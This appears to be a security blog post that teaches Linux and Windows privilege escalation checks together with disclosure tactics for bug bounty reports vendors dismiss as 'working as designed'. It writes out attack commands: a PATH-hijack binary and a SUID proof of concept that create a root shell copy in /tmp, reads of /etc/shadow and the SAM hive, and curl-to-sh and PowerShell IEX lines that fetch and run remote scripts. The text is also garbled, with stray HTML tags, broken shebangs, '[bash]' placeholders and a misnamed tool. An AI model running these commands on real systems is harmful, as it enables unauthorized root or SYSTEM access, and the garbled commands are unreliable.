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Introduction:
Privilege escalation vulnerabilities remain one of the most critical classes of security flaws, yet researchers often face a frustrating pattern: vendors dismiss the issue as “working as designed,” close the report without action, then silently patch the bug once the researcher requests public disclosure. This dynamic leaves ethical hackers with little leverage—forcing them to understand not only the technical exploitation of privilege escalation but also the strategic use of disclosure requests as a negotiation tool.
Learning Objectives:
- Identify classic privilege escalation vectors on Linux and Windows systems.
- Execute step-by-step privilege escalation checks and mitigation commands.
- Apply responsible disclosure tactics, including requesting disclosure, to prevent silent fixes.
You Should Know:
- The “Working as Designed” Trap – Validating Escalation vs. Misconfiguration
Start by confirming that the observed behavior truly violates the security boundary. Vendors often claim intended functionality when a low-privileged user can access files or execute commands that should be restricted. Use these commands to prove the escalation path.
Step-by-step guide:
- On Linux, create a low-privileged test user: `sudo useradd tester && sudo passwd tester`
– Log in as that user: `su – tester`
– Attempt to read restricted files: `cat /etc/shadow` (should fail) - If you find a sudo misconfiguration: `sudo -l` – if this lists commands the user can run as root, document it.
- On Windows, use `whoami /priv` to list enabled privileges. If `SeTakeOwnershipPrivilege` or `SeBackupPrivilege` appears, try to take ownership of a protected file: `takeown /f C:\Windows\System32\config\SAM`
If these commands succeed unexpectedly, you have a privilege escalation vector—not a design feature.
How to use this in a report: Record the exact command outputs, system version, and a step-by-step reproduction. Then, before submitting, request clarification: “Is it intended that a non-admin user can run `sudo -l` and see commands that execute as root?”
- Linux Privilege Escalation – Manual Checks and Automated Scripts
When the vendor claims “working as designed,” you need exhaustive evidence. Run these commands as the low-privileged user to uncover hidden escalation paths.
Step-by-step guide:
- Check for world-writable files with SUID: `find / -perm -4000 -type f 2>/dev/null`
– Identify capabilities: `getcap -r / 2>/dev/null`
– Look for cron jobs with writable scripts: `cat /etc/crontab` and check `/etc/cron.d/`
– Examine PATH hijacking: `echo $PATH` – if current directory (.) is listed, create a malicious binary: `echo -e ‘!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash’ > /tmp/ls; chmod +x /tmp/ls; export PATH=/tmp:$PATH`
– Check for exposed credentials in environment variables: `ps auxww | grep -i password`
– Use LinPEAR for automated audit: `curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh`
Mitigation commands (run as root):
- Remove SUID from dangerous binaries: `chmod u-s /usr/bin/passwd`
– Fix PATH by editing/etc/profile: remove `:` at start or `.` entries - Use `sudo -e` to edit sudoers: `visudo` and restrict commands
Present these findings in your report to demonstrate that the issue is not by design—it’s a clear misconfiguration.
- Windows Privilege Escalation – Tokens, Services, and AlwaysInstallElevated
Windows misconfigurations are a classic source of “silent fixes.” Attackers can abuse service permissions, registry settings, or token impersonation. Use these commands to prove escalation.
Step-by-step guide:
- Enumerate user rights with
whoami /priv. If `SeImpersonatePrivilege` is enabled, use JuicyPotato or RoguePotato. - Check for unquoted service paths: `wmic service get name,displayname,pathname,startmode | findstr /i “auto” | findstr /i /v “C:\Windows\\”`
– Look for weak service permissions: `sc sdshow` – if `D:(A;;RPWPDT;;;WD)` (everyone can modify), you can change the binary.</li> <li>Test AlwaysInstallElevated registry keys: `reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated` and `reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated` – if both return 1, run `msiexec` to elevate.</li> <li>Use PowerUp.ps1: `powershell -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks"` How to present this to a vendor: Screenshot each command’s output showing that a standard, unprivileged user can change a service binary or write to a protected registry key. Then ask, “Is this truly the intended security boundary?”</li> </ul> <ol> <li>Responsible Disclosure Strategy – Requesting Disclosure as Leverage</li> </ol> When a vendor closes your issue as “N/A” or “working as designed,” your next step is to request public disclosure. This triggers a formal process that often forces either acknowledgment of the risk or a patch. <h2 style="color: yellow;">Step-by-step guide:</h2> <ul> <li>Step 1: Wait 30 days after the original report submission if no fix is announced.</li> <li>Step 2: Send a formal disclosure request email. Include:</li> <li>Original report ID and date.</li> <li>Re-statement of the security impact: “An attacker with low privileges can escalate to root/admin via [specific technique].”</li> <li>CVSS 3.1 score (calculate using https://www.first.org/cvss/calculator/3.1) – typically 7.8 or higher for privilege escalation.</li> <li>A statement: “If you believe this is intended behavior, please provide a written security rationale. Otherwise, I request permission to publicly disclose on [date + 45 days].”</li> <li>Step 3: If denied, ask for the denial reason in writing. Under many bug bounty terms, unreasonable denial may violate the program’s good faith clause.</li> <li>Step 4: Escalate to platform (HackerOne, Bugcrowd) if the vendor ignores you but silently fixes the bug later. Provide evidence of the fix (e.g., patch notes, changed behavior in newer version).</li> </ul> Important: Never violate a non-disclosure agreement. Only request disclosure after clear vendor inaction or contradictory statements. <ol> <li>Building a Bug Bounty Report That Cannot Be Ignored – Evidence, Impact, and Fixes</li> </ol> Vendors more often close reports as N/A when the report is incomplete or lacks clear impact. A professional report prevents the “working as designed” dismissal. <h2 style="color: yellow;">Step-by-step guide:</h2> <ul> <li>“Privilege Escalation via [bash] – Low-Privilege User Gains Root/Admin”</li> <li>Executive summary: 2 sentences on the issue and its risk.</li> <li>Reproduction steps: Numbered list showing commands and outputs (use code blocks).</li> <li>Impact: “An authenticated attacker with minimal privileges can execute arbitrary code as SYSTEM/root, leading to full system compromise.”</li> <li>Suggested fix: Provide concrete remediation commands.</li> <li>Example for Linux: Remove SUID from vulnerable binary, fix sudoers entry.</li> <li>Example for Windows: Set proper service permissions, disable AlwaysInstallElevated via Group Policy.</li> <li>Attach a proof-of-concept script: [bash] !/bin/bash PoC for SUID binary 'customtool' ./customtool --execute 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' /tmp/rootbash -p - Include a video or screenshot showing before and after.
Finally, add a section: “Disclosure request: If you close this as N/A without a security justification, I will request public disclosure on [bash].”
What Undercode Say:
- The “working as designed” defense is often a stall tactic or a sign of internal confusion; requesting disclosure forces accountability and clarity.
- Silent fixes—patching a vulnerability without acknowledging the researcher—erode trust in bug bounty programs and AI‑driven vulnerability management platforms.
- Ethical hackers must document every command, output, and step with forensic precision because screenshots and logs are your only leverage once a vendor goes dark.
Prediction:
As AI-powered code analysis tools become mainstream, vendors will increasingly auto‑classify privilege escalation reports as “false positives” based on flawed heuristics. This will trigger a wave of adversarial disclosure requests, forcing platform owners to create binding arbitration processes. Within two years, we will see the first class‑action lawsuit from researchers against a vendor that systematically accepted fixes without crediting or paying for disclosed privilege escalation bugs.
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